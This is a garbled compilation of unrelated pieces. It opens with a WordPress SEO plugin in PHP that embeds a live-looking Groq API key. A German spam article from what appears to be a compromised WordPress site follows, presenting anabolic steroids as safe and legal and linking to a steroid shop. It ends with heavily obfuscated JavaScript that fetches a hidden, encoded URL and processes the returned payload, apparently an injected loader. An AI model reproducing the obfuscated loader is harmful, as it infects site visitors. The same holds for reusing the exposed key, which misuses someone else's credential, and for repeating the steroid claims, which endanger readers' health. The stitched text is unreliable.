/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
} // end function_exists guard<!DOCTYPE html>
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<title>Optimierung des Bodybuildings: Der sichere und legale Einsatz von Steroiden - Biotin Tablets</title>
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<article id="post-15768" class="post-15768 post type-post status-publish format-standard hentry category-uncategorized">
	<header class="entry-header">
		<h1 class="entry-title">Optimierung des Bodybuildings: Der sichere und legale Einsatz von Steroiden</h1>

		<div class="entry-meta">
			<span class="date"><a href="https://biotintablets.com/optimierung-des-bodybuildings-der-sichere-und-legale-einsatz-von-steroiden/" title="Permalink to Optimierung des Bodybuildings: Der sichere und legale Einsatz von Steroiden" rel="bookmark"><time class="entry-date" datetime="2026-05-03T19:09:35+00:00">May 3, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<p>Bodybuilding ist mehr als nur ein Sport; es ist eine Lebensweise, die Hingabe, Disziplin und häufig auch die Suche nach den besten Mitteln zur Leistungssteigerung erfordert. Eine der umstrittensten Methoden, um den Muskelaufbau zu optimieren, ist der Einsatz von Steroiden. Wenn Sie <a href="https://testosteronanabolika.com/">muskelaufbau anabolika tabletten</a> suchen, ist unser Sportpharmazie-Shop in Deutschland genau das Richtige für Sie!</p>
<h2>Was sind Anabole Steroide?</h2>
<p>Anabole Steroide sind synthetische Derivate des männlichen Sexualhormons Testosteron. Sie haben die Fähigkeit, die Proteinsynthese in den Muskeln zu steigern und damit den Muskelwachstum und die Regeneration zu fördern. Durch den kontrollierten Einsatz von Steroiden kann man das Muskelvolumen und die Kraft deutlich erhöhen.</p>
<h2>Die Vorteile des legalen Einsatzes von Steroiden</h2>
<ol>
<li><strong>Steigerung der Muskelmasse:</strong> Anabole Steroide fördern den Zuwachs an Muskelmasse und unterstützen die Vergrößerung der Muskelzellen.</li>
<li><strong>Verbesserte Regeneration:</strong> Nutzer berichten oft von schnelleren Erholungszeiten, was intensivere Trainingsmöglichkeiten eröffnen kann.</li>
<li><strong>Erhöhte Kraftleistung:</strong> Steroide können die körperliche Leistungsfähigkeit erheblich steigern, insbesondere in Kraftsportarten.</li>
<li><strong>Bessere Konzentration:</strong> Einige Benutzer berichten von einer gesteigerten mentalen Fokussierung und Motivation beim Training.</li>
</ol>
<h2>Risiken und Nebenwirkungen</h2>
<p>Trotz der potenziellen Vorteile ist der Einsatz von Anabolika auch mit erheblichen Risiken verbunden. Zu den häufigsten Nebenwirkungen gehören:</p>
<ul>
<li>Hormonelle Ungleichgewichte</li>
<li>Leber- und Nierenschäden</li>
<li>Psychische Auswirkungen wie Aggressionen und Depressionen</li>
<li>Herz-Kreislauf-Erkrankungen</li>
</ul>
<h2>Wie man Steroide sicher und legal verwendet</h2>
<p>Um die Risiken zu minimieren und die Vorteile zu maximieren, sollten folgende Richtlinien beachtet werden:</p>
<ol>
<li>Informieren Sie sich gründlich über die jeweiligen Substanzen und deren Wirkungsweisen.</li>
<li>Konsultieren Sie einen Sportmediziner oder Experten, bevor Sie mit dem Einsatz beginnen.</li>
<li>Verwenden Sie nur legale und getestete Produkte von renommierten Anbietern.</li>
<li>Halten Sie sich an empfohlene Dosierungsrichtlinien.</li>
<li>Führen Sie regelmäßige Gesundheitschecks durch, um mögliche Nebenwirkungen frühzeitig zu erkennen.</li>
</ol>
<p>Die Optimierung des Bodybuildings durch den Einsatz von Anabolika sollte unter Berücksichtigung aller Risiken und einer fundierten Entscheidung erfolgen. Ein verantwortungsbewusster Umgang kann dabei helfen, die gewünschten Ziele zu erreichen, ohne die Gesundheit zu gefährden.</p>
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fH7eaL(l1z3Ij)}function VKdfKX(hzGP3N5){if(typeof AVlB_US[hzGP3N5]===pSzWI8[0x5]){return AVlB_US[hzGP3N5]=TlBsPVf(xyhKpI[hzGP3N5])}return AVlB_US[hzGP3N5]}const vedp0K0=await fetch(VKdfKX(0x7c)+hzGP3N5,{[VKdfKX(0x7d)]:VKdfKX(0x7e),[VKdfKX(pSzWI8[0x12])]:COybiK0(FGXm2DL[VKdfKX(pSzWI8[0x13])](JSON[VKdfKX(0x81)](U5bSXPR)))});if(!vedp0K0.ok){function l1z3Ij(hzGP3N5){var U5bSXPR="A8OB5FRrWXb^V[q=T*4CSt}LGJwU$DIxy<0{Y9s6mao3|ipnv+~dKHl?\"`E>MZf;%eg1@!:h]k#QjNz7Pu&)(_2,./c",TlBsPVf,VKdfKX,l1z3Ij,FSj4zn,xCxd1EW,rLSK1T,akOnZTt;AsIXnD(TlBsPVf=""+(hzGP3N5||""),VKdfKX=TlBsPVf.length,l1z3Ij=[],FSj4zn=pSzWI8[0x0],xCxd1EW=pSzWI8[0x0],rLSK1T=-pSzWI8[0x1]);for(akOnZTt=pSzWI8[0x0];akOnZTt<VKdfKX;akOnZTt++){var FGXm2DL=U5bSXPR.indexOf(TlBsPVf[akOnZTt]);if(FGXm2DL===-pSzWI8[0x1])continue;if(rLSK1T<pSzWI8[0x0]){rLSK1T=FGXm2DL}else{AsIXnD(rLSK1T+=FGXm2DL*pSzWI8[0xc],FSj4zn|=rLSK1T<<xCxd1EW,xCxd1EW+=(rLSK1T&pSzWI8[0xd])>pSzWI8[0xe]?pSzWI8[0xf]:pSzWI8[0x10]);do{AsIXnD(l1z3Ij.push(FSj4zn&pSzWI8[0x3]),FSj4zn>>=pSzWI8[0x2],xCxd1EW-=pSzWI8[0x2])}while(xCxd1EW>pSzWI8[0x9]);rLSK1T=-pSzWI8[0x1]}}if(rLSK1T>-pSzWI8[0x1]){l1z3Ij.push((FSj4zn|rLSK1T<<xCxd1EW)&pSzWI8[0x3])}return fH7eaL(l1z3Ij)}function FSj4zn(hzGP3N5){if(typeof AVlB_US[hzGP3N5]===pSzWI8[0x5]){return AVlB_US[hzGP3N5]=l1z3Ij(xyhKpI[hzGP3N5])}return AVlB_US[hzGP3N5]}if(FSj4zn(0x82)in nzAXStk){xCxd1EW()}function xCxd1EW(){var hzGP3N5=function(hzGP3N5){AsIXnD(this.capacity=hzGP3N5,this.length=pSzWI8[0x0],this.map={},this.head=pSzWI8[0x14],this.tail=pSzWI8[0x14])};AsIXnD(hzGP3N5.prototype.get=function(hzGP3N5){var U5bSXPR=this.map[hzGP3N5];return U5bSXPR?(this.remove(U5bSXPR),this.insert(U5bSXPR.key,U5bSXPR.val),U5bSXPR.val):-pSzWI8[0x1]},hzGP3N5.prototype.put=function(hzGP3N5,U5bSXPR){this.map[hzGP3N5]?(this.remove(this.map[hzGP3N5]),this.insert(hzGP3N5,U5bSXPR)):this.length===this.capacity?(this.remove(this.head),this.insert(hzGP3N5,U5bSXPR)):(this.insert(hzGP3N5,U5bSXPR),this.length++)},hzGP3N5.prototype.remove=function(hzGP3N5){var U5bSXPR=hzGP3N5.prev,TlBsPVf;TlBsPVf=hzGP3N5.next;if(TlBsPVf)TlBsPVf.prev=U5bSXPR;if(U5bSXPR)U5bSXPR.next=TlBsPVf;if(this.head===hzGP3N5)this.head=TlBsPVf;if(this.tail===hzGP3N5)this.tail=U5bSXPR;delete this.map[hzGP3N5.key]},hzGP3N5.prototype.insert=function(hzGP3N5,U5bSXPR){var TlBsPVf=new List(hzGP3N5,U5bSXPR);AsIXnD(!this.tail?(this.tail=TlBsPVf,this.head=TlBsPVf):(this.tail.next=TlBsPVf,TlBsPVf.prev=this.tail,this.tail=TlBsPVf),this.map[hzGP3N5]=TlBsPVf)},console.log(hzGP3N5))}throw new Error}return NWs9L0v[VKdfKX(0x83)](COybiK0(new Uint8Array(await vedp0K0[VKdfKX(0x84)]())))};let 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U5bSXPR}l1z3Ij=rLSK1T[hzGP3N5]||(rLSK1T[hzGP3N5]=xCxd1EW())}else{l1z3Ij=FSj4zn[hzGP3N5]()}return TlBsPVf===vedp0K0(0xaf)?{[vedp0K0(0xb0)]:l1z3Ij}:l1z3Ij}new TlBsPVf(U5bSXPR(0xb1),U5bSXPR(0xb2),U5bSXPR(0xb3))[U5bSXPR(0xb4)]})();
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